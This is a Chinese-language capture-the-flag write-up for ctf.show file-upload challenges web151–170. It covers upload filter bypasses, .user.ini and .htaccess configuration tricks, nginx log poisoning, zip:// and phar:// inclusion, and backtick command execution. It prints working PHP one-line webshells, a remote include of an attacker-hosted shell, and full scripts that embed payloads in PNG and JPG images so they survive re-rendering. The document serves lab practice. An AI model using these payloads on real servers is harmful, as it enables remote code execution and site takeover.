web 151-前端校验

前端限制仅支持png格式
image.png
讲一句话木马该后缀名为png,burp抓包再修改后缀为php即可
image.png

web 152-后端修改后缀

方法同web151

web 153-.user.ini配置文件

尝试了Php,php3,.htaccess等后缀文件可以上传,但是无法解析
发现upload文件夹下有index.php文件,可考虑.ini配置文件
image.png
(1)先上传一个.user.ini文件,指定所有php文件包含mm.png文件(抓包后修改后缀上传)

GIF89a auto_prepend_file=mm.png

image.png
(2)然后在上传一个内容为一句话木马的脚本,命名为mm.png

GIF89a <?php @eval($_POST[“qqa”])?> <?php phpinfo ();

(3)通过.user.ini文件配置可实现,所有php文件都自动包含mm.png文件

此时index.php文件已包含一句话木马,浏览器访问激活后,蚁剑连接即可
image.png

web 154-文件内容限制

在web153的基础上对上传文件内容进行限制,限制了php字符
一句话木马用 <?= 代替 <?php
<?=eval($_POST[“x”]);?>
image.png

web 155-文件内容限制

同web154

web 156-文件内容限制

限制了中括号[],用大括号替代{}
image.png

web 157-159-命令执行

限制的内容更多了,直接命令执行,并绕过限制(cat, system被限制)
将一句话木马改为命令
<?=tac ../f* ?> 利用反引号执行命令
等价于 <?=system(‘tac ../f*’) ?>
image.png
同样上传.user.ini,
image.png

web 160-日志包含绕过

png文件也限制上传,可考虑包含文件
先上传配置文件.user.ini

GIF89a auto_prepend_file=1.png

方法一:日志包含

从前面的题可找到日志文件路径 /var/log/nginx/access.log
日志中会记录User-Agent的参数信息,于是构造报文在User-Agent写入一句话木马,同时上传文件包含日志
其中有字符限制需要绕过(”,log)
<?=include”/var/lo”.”g/nginx/access.lo”.”g”?>
image.png
image.png
在日志中可以找到刚才写入的木马
image.png

方法二:远程包含

GIF89a
?=include"http://x.x.x.x/shell"?
image.png
image.png

web 161-日志包含绕过

同web160 加上图片头 GIF89a

web 162-163-session文件包含

通过上传.user.ini配置文件,包含sess_abc
image.png
再结合session.upload_progress文件包含+条件竞争
靶场做了限制,没有实现

web 164-图片码二次渲染(png)

查看源码发现有个download.php页面,怀疑是文件包含
image.png
只能上传图片码
image.png
再抓取一个新的包修改内容,change request method,change body encoding
由于木马内容为

<?=$_GET0;?>

0使用get赋值system,1使用post赋值查询命令

/download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png&0=system 1=cat flag.php

image.png
生成图片码:
网上找的大神代码

  1. <?php
  2. $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
  3. 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
  4. 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
  5. 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
  6. 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
  7. 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
  8. 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
  9. 0x66, 0x44, 0x50, 0x33);
  10. $img = imagecreatetruecolor(32, 32);
  11. for ($y = 0; $y < sizeof($p); $y += 3) {
  12. $r = $p[$y];
  13. $g = $p[$y+1];
  14. $b = $p[$y+2];
  15. $color = imagecolorallocate($img, $r, $g, $b);
  16. imagesetpixel($img, round($y / 3), 0, $color);
  17. }
  18. imagepng($img,'1.png'); #生成的图片码路径
  19. ?>

在phpstudy中执行该php脚本,生成图片码,其中包含的木马脚本内容

<?=$_GET0;?>

web 165-图片码二次渲染(jpg)

同web164,限制了jpg格式文件,所以要用jpg的图片码
image.png
上传正常jpg图片后再下载,发现图片中有CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality,说明是jpg图片二次渲染
image.png
jpg图片码制作

<?php

    $miniPayload = "<?=eval(\$_POST[1]);?>";  # payload


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>'); # 执行语句
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

思路应该是图片码+命令执行,但没有复现成功,待解决

web 166-文件包含zip伪协议

依旧是文件包含,限制了zip后缀文件,可考虑zip://伪协议
image.png
image.png
上传包含一句话木马php文件的zip压缩包
image.png
使用zip伪协议访问php文件
http://23a8899b-f453-461c-b356-a8e9716e3c26.challenge.ctf.show/upload/download.php?file=zip://e280ea791f5bae4c784400f74a140e09.zip%23mm.php
image.png
伪协议说明
zip://
zip://可以访问压缩包里的文件,实现任意代码执行,只需要是zip的压缩包即可,后缀名可以任意更改
用法:?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
示例:zip://xxx.zip#shell.php
注意:#在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符
类似的伪协议还有 phar:// zlib://
phar://
是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压
用法:?file=phar://压缩包/内部文件
示例:phar://xxx.png/shell.php xxx.png是更改了后缀名的压缩包,shell.php是压缩包里的文件

web 167-.htaccess文件解析

提示httpd,httpd是Apache超文本传输协议(HTTP)服务器的主程序,Apache提供一种配置文件.htaccess,它负责相关目录下的网页配置。

指定文件,里面代码作为php执行

SetHandler application/x-httpd-php

指定类型,作为php文件解析

AddType application/x-httpd-php .mochu

文件名中出现php关键字时,文件中代码作为php执行

AddHandler php5-script php

一句话木马,后缀名改jpg,上传成功
burp抓包,内容配置 AddType application/x-httpd-php .jpg,上传.htaccess文件
激活文件,蚁剑连接即可
image.png

web 168-免杀绕过

burp抓包可上传php文件,但是一句话木马上传被删除
可结合命令执行,尝试<?php system(“ls /var/www/html”);?>
eval、system被限制,可以反引号执行命令<br /><?php echols /var/www/html;?><br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/25393735/1638415073109-065dde00-e685-4f8c-b19f-a62e8a45d278.png#clientId=u9cb9c199-395b-4&from=paste&height=54&id=ua6623368&margin=%5Bobject%20Object%5D&name=image.png&originHeight=108&originWidth=919&originalType=binary&ratio=1&size=13427&status=done&style=none&taskId=ue5c203dc-270f-41a9-831e-b4aa9d4466c&width=459.5)<br />再flagaa.php中找到flag,右键查看源代码<br /><?php echocat /var/www/html/flagaa.php`;?>

web 169-免杀绕过

源代码显示接受zip后缀,上传压缩包仍报文件类型不合规
image.png
注意到上面代码accept:’images’,于是用burp抓包后,修改Content-Type为image/png,可上传任意后缀文件,但上传后立即被查杀
image.png
考虑将木马写到日志中
(1)随便上传一个m1.php文件,内容随意
(2)上传.user.ini文件,包含文件指定为日志文件 /var/log/nginx/access.log,同时User-Agent中写入木马
(3)执行m1.php激活文件即可
由于配置了.user.ini文件,使得m1.php中包含access.log中的内容
image.png

web 170-免杀绕过

方法同web169